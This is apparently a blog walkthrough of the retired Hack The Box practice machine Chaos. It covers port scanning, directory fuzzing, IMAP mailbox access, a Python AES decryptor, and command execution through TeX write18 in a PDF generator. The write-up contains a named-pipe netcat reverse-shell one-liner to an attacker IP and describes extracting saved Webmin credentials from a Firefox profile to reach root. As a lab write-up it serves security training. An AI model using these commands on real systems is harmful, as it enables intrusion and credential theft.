This post documents the complete walkthrough of Chaos, a retired vulnerable VM created by sahay, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Chaos is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.120
...
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.34 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: UIDL AUTH-RESP-CODE SASL PIPELINING STLS TOP CAPA RESP-CODES
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
143/tcp open imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: OK IDLE capabilities post-login LITERAL+ STARTTLS more LOGIN-REFERRALS have listed Pre-login SASL-IR LOGINDISABLEDA0001 ID ENABLE IMAP4rev1
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: OK IDLE capabilities post-login LITERAL+ more LOGIN-REFERRALS have AUTH=PLAINA0001 listed SASL-IR Pre-login ID ENABLE IMAP4rev1
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: UIDL AUTH-RESP-CODE SASL(PLAIN) PIPELINING USER TOP CAPA RESP-CODES
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
10000/tcp open http syn-ack ttl 63 MiniServ 1.890 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
nmap
finds 80/tcp
, 110/tcp
, 143/tcp
, 993/tcp
, 995/tcp
, and my oh my 10000/tcp
open. I haven’t seen Webmin in a long time. In any case, let’s go with the http
service first. This is how the site looks like.
Hmm. Must have something to do with the Host
request header. Let’s map 10.10.10.120 to chaos.htb
in /etc/hosts
. Once you have done that, this is how the site looks like.
Directory/File Enumeration
Let’s use wfuzz
on the site and see what we can find.
# wfuzz -w common.txt --hc 404 http://chaos.htb/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://chaos.htb/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000010: C=403 11 L 32 W 288 Ch ".hta"
000011: C=403 11 L 32 W 293 Ch ".htaccess"
000012: C=403 11 L 32 W 293 Ch ".htpasswd"
001232: C=301 9 L 28 W 304 Ch "css"
002073: C=301 9 L 28 W 304 Ch "img"
002094: C=200 222 L 550 W 6964 Ch "index.html"
002218: C=301 9 L 28 W 311 Ch "javascript"
002250: C=301 9 L 28 W 303 Ch "js"
003597: C=403 11 L 32 W 297 Ch "server-status"
003758: C=301 9 L 28 W 307 Ch "source"
Total time: 93.69892
Processed Requests: 4593
Filtered Requests: 4583
Requests/sec.: 49.01870
Wait a tick, there’s nothing interesting to see. Maybe because of the virtual host configuration? Let’s try wfuzz
on the IP instead.
# wfuzz -w common.txt --hc 404 http://10.10.10.120/FUZZ
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.120/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000011: C=403 11 L 32 W 296 Ch ".htaccess"
000012: C=403 11 L 32 W 296 Ch ".htpasswd"
000010: C=403 11 L 32 W 291 Ch ".hta"
002094: C=200 1 L 5 W 73 Ch "index.html"
002218: C=301 9 L 28 W 317 Ch "javascript"
003597: C=403 11 L 32 W 300 Ch "server-status"
004447: C=301 9 L 28 W 309 Ch "wp"
Total time: 93.98760
Processed Requests: 4593
Filtered Requests: 4586
Requests/sec.: 48.86814
What do you know? WordPress is installed!
WordPress Protected Post
This is how the blog looks like. You can see that there’s a protected post.
After much guessing , the password is
human
.
Webmail
Let’s verify the webmail credentials with IMAPS. IMAPS seem to be more likely to be powering webmail. We can use openssl s_client
, very much like nc
, to connect to SSL-enabled services.
# openssl s_client -crlf -connect 10.10.10.120:993
Awesome. The credentials work. Let’s LIST
the mail boxes.
The only mail exists in Drafts.
Let’s read the mail.
a FETCH 1 BODY[]
* 1 FETCH (BODY[] {2532}
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="=_00b34a28b9033c43ed09c0950f4176e1"
Date: Sun, 28 Oct 2018 17:46:38 +0530
From: ayush <[email protected]>
To: undisclosed-recipients:;
Subject: service
Message-ID: <[email protected]>
X-Sender: [email protected]
User-Agent: Roundcube Webmail/1.3.8
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII;
format=flowed
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
name=enim_msg.txt
Content-Disposition: attachment;
filename=enim_msg.txt;
size=272
MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
name=en.py
Content-Disposition: attachment;
filename=en.py;
size=804
ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
c3QoKQoK
--=_00b34a28b9033c43ed09c0950f4176e1--
)
a OK Fetch completed (0.002 + 0.000 + 0.001 secs).
There are two attachments to the email: an encrypted message and an incomplete Python encryptor code.
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
It’s not difficult to write a decrypt
function, once you know where the IV is stored, and the cipher and mode of operation used. Here’s the complete code, with the correct imports.
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import os
import sys
def encrypt(key, filename):
chunksize = 64 * 1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def decrypt(key, filename):
chunksize = 64 * 1024
outputFile = filename.split('en')[1]
with open(filename, 'rb') as infile:
filesize = int(infile.read(16))
IV = infile.read(16)
decryptor = AES.new(key, AES.MODE_CBC, IV)
with open(outputFile, 'wb') as outfile:
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(filesize)
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
def usage():
print "python crypto.py [-e|-d] [filename]"
def main():
if (len(sys.argv) != 1):
if (sys.argv[1] == '-e'):
encrypt(getKey('sahay'), sys.argv[2])
elif (sys.argv[1] == '-d'):
decrypt(getKey('sahay'), sys.argv[2])
else:
usage()
else:
usage()
if __name__ == '__main__':
main()
The message after decryption is a base64
-encoded message. This is the message after decoding.
Low-Privilege Shell
This is how the new service looks like.
The service creates PDFs based on templates. Digging into the JavaScript, it’s obvious that the service creates PDFs based on TeX templates modified through PHP.
Notice that there’s no element with the ID output
. It’s easy to create a <textarea>
with the ID output
using jQuery since that’s available.
$('body').append('<textarea id="output" style="width: 100%; height: 200px;">')
Template 2 and 3 are working. More importantly, a TeX primitive write18
that executes command is exposed.
With that in mind, let’s see if our beloved nc
is available on the host.
Awesome. Too bad, the -e
is not available. Fret not, we can still make do with something like this.
rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 10.10.13.52 1234 >/tmp/p
True enough, a reverse shell appears on my nc
listener.
Let’s upgrade the shell with Python’s pty
module and some stty
magic.
Sweet.
Privilege Escalation
Now, let’s see if we can su
ourselves to ayush
with the password jiujitsu
obtained earlier. Before we do that, know that ayush
’s default shell is rbash
.
We can always bypass rbash
like this.
The user.txt
is at ayush
’s home directory.
During enumeration of ayush
’s account, I noticed the presence of a Mozilla Firefox profile, complete with saved logins to the Webmin interface.
The saved credentials are protected by a master password. I copied the entire profile to a new profile on my attacking machine. And, since this is ayush
’s Firefox profile, the master password is jiujitsu
as well.
The root
password can be seen after the unlock.
With the root
password, we can su
to root
and retrieve root.txt
like so.